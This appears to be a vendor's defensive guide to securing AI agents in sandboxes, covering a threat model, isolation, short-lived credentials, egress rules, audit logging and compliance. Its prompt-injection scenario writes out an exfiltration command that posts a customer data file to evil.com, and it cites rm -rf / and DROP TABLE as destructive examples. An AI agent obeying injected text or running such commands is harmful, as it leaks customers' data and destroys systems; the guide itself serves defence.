Security for AI Agents in Production

The threat model for AI agents

AI agents are different from traditional software. They execute LLM-generated code, make autonomous decisions, and interact with external systems. The threat model has four categories:

1. Prompt injection / jailbreak

A malicious input (a crafted webpage, a poisoned repo, a tricky email) tricks the agent into executing unintended commands. The agent thinks it's following instructions but is actually exfiltrating data or running destructive commands.

2. Hallucinated destructive actions

The model hallucinates a command that doesn't exist or generates a destructive command by mistake. rm -rf /, DROP TABLE users, or a curl that posts credentials to an external URL.

3. Credential exposure

The agent needs credentials to do its work (API keys, database passwords, SSH keys). If these are long-lived and broadly scoped, a compromised agent becomes a compromised identity with access to everything.

4. Data exfiltration

The agent processes sensitive data (customer PII, financial records, source code). If it has unrestricted network access, it could send data to external endpoints — intentionally (prompt injection) or accidentally (logging to a third-party service).

The six security controls

1. Compute isolation

Every sandbox and container runs in its own isolated environment. Sandboxes are EC2 instances in a dedicated VPC. Browser and desktop containers are cloud containers with their own network interface. No agent can see another agent's filesystem, processes, or network traffic.

# Each sandbox gets:
- Own EC2 instance (not shared, not a container on shared host)
- Own filesystem (EBS volume, encrypted at rest)
- Own security group (configurable egress rules)
- Own IAM role (scoped to the task, not the platform)

# Each browser/desktop container gets:
- Own cloud container (isolated compute, memory, network)
- Own session token (rotated on release, invalidated on termination)
- Own cookie jar (no cross-container session leakage)

2. Short-lived credentials

Never give an agent long-lived credentials. Use short-lived tokens, SSH certificates, and scoped API keys that expire after the task completes.

# Issue a 1-hour SSH certificate for the sandbox
curl -s -X POST "$SANDBOX_URL/api/ssh/certificates" \
  -H "Authorization: Bearer $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "ttl_seconds": 3600,
    "principals": ["ubuntu"]
  }'

# The certificate expires in 1 hour
# Even if the private key leaks, it's useless after expiry

3. Egress control

By default, sandboxes can reach the internet. For sensitive workloads, restrict outbound traffic to only the endpoints the agent needs.

# Restrictive egress for a financial processing agent:
Outbound rules:
  - TCP 443 → api.anthropic.com      # Claude API
  - TCP 443 → erp.internal.com       # ERP endpoint
  - TCP 443 → api.stripe.com         # Payment processor
  - DENY ALL other outbound traffic

# The agent cannot reach arbitrary internet endpoints
# A prompt injection that tries to curl data to evil.com fails

4. Audit logging

Every action is logged: sandbox creation, command execution, file uploads, container lifecycle events. The audit log is immutable and queryable.

# Get audit log for a specific sandbox
curl -s "$SANDBOX_URL/api/admin/audit-log?sandbox_id=$SID" \
  -H "Authorization: Bearer $ADMIN_KEY" | jq .

# Each entry includes:
# - timestamp
# - user_id (who triggered the action)
# - action (create_sandbox, execute_command, upload_file, etc.)
# - resource_id (sandbox_id, container_id)
# - details (command text, file name, response code)
# - ip_address (where the request came from)

5. Session recording

For desktop and browser containers, record the visual session. This provides a complete video audit trail of what the agent saw and did.

• Desktop containers: Record the VNC session with ffmpeg capturing the X display. Every mouse click, every keystroke, every screen change.
• Browser containers: Take screenshots at every navigation step and store them alongside the task output.
• Terminal sandboxes: The execute API returns stdout and stderr for every command. Store these as the execution transcript.

6. Ephemeral by default

The best security posture for most agent tasks is ephemeral: create the sandbox, do the work, destroy the sandbox. Nothing persists. No credentials on disk. No browser history. No cached data. The attack surface exists only during the task execution window.

• Browser containers: Released back to the warm pool after each task. The reset script kills all processes, clears cookies, wipes temp files. The container is clean for the next user.
• Desktop containers: Same release pattern. Session state is destroyed.
• Terminal sandboxes (ephemeral tasks): Deleted after task completes. The EC2 instance is terminated.
• Terminal sandboxes (persistent): For multi-day tasks, the sandbox persists. Apply all other controls (egress, short-lived creds, audit) more strictly.

What happens when an agent goes rogue

Scenario: a prompt injection in a scraped webpage tricks the agent into running curl -X POST https://evil.com/exfil -d "$(cat /workspace/customer_data.csv)".

Here's how each control layer responds:

1. Egress control blocks the request to evil.com (not in the allowlist). The data never leaves the sandbox.
2. Audit log records the attempted command, including the full curl command with the target URL.
3. The sandbox is isolated — even if the agent ran rm -rf /, only the disposable sandbox is affected. No other agents, no shared infrastructure.
4. Short-lived credentials mean the agent's API keys expire in 1 hour. Even if the credentials were exfiltrated to another system (which egress blocked), they'd be useless quickly.
5. Alerting fires on the blocked egress attempt. The security team is notified within minutes.

The worst case with all controls in place: the agent wasted 5 minutes of compute on a failed exfiltration attempt. The data stayed inside the sandbox. The credentials expired. The sandbox was destroyed. The alert was logged.

SOC2, GDPR, and HIPAA patterns

SOC2

• Access control: Multi-tenant isolation via org_id. Users only see their own sandboxes. Admin roles for org-wide access. Cross-tenant access restricted to platform staff.
• Audit trail: Immutable log of every action, exportable for auditor review.
• Encryption: Data at rest (EBS encryption). Data in transit (TLS for all API calls, SSH for sandbox access).
• Change management: All agent task descriptions version-controlled in git. Changes reviewed before deployment.

GDPR

• Data minimization: Ephemeral sandboxes process PII and are destroyed afterward. No persistent storage of personal data beyond the task window.
• Right to erasure: Delete the sandbox and all associated data. The audit log retains the action record but not the processed data.
• Data processing records: Audit log provides the Article 30 record of processing activities.

HIPAA

• PHI isolation: Sandboxes processing health data use restricted egress (only the covered entity's endpoints).
• Encryption: AES-256 at rest, TLS 1.3 in transit.
• Access logging: Every access to a sandbox containing PHI is logged with user identity and timestamp.
• BAA: Required between the platform provider and the covered entity.

Security checklist for production deployment

1. Egress rules — restrict outbound traffic to only required endpoints for agents handling sensitive data.
2. Short-lived credentials — SSH certificates (1–4 hr TTL), scoped API keys fetched at runtime, no passwords in environment variables.
3. Ephemeral by default — destroy sandboxes after task completion. Use persistent only when the task requires it.
4. Audit logging enabled — verify the audit log captures all actions. Set up log export to your SIEM.
5. Session recording — enable for desktop and browser containers handling financial, compliance, or PII data.
6. Multi-tenant isolation — verify users can only access their own org's resources. Test with a cross-org access attempt.
7. Spending caps — set per-user limits to prevent a compromised account from spinning up expensive resources.
8. Alerting — configure alerts on blocked egress attempts, failed authentication, and sandbox creation spikes.
9. Credential rotation — rotate vendor portal passwords and API keys on a regular schedule.
10. Incident response plan — document what happens when an agent alert fires. Who gets notified? What's the escalation path? How do you kill a sandbox immediately?

# Emergency termination — stops and deletes the sandbox immediately
curl -s -X DELETE "$SANDBOX_URL/api/sandboxes/$SUSPECT_SANDBOX_ID" \
  -H "Authorization: Bearer $ADMIN_KEY"

# For containers (browser/desktop)
curl -s -X DELETE "$SANDBOX_URL/api/containers/$SUSPECT_CONTAINER_ID" \
  -H "Authorization: Bearer $ADMIN_KEY"

# The sandbox/container is terminated within seconds
# All processes killed, network access severed

What's next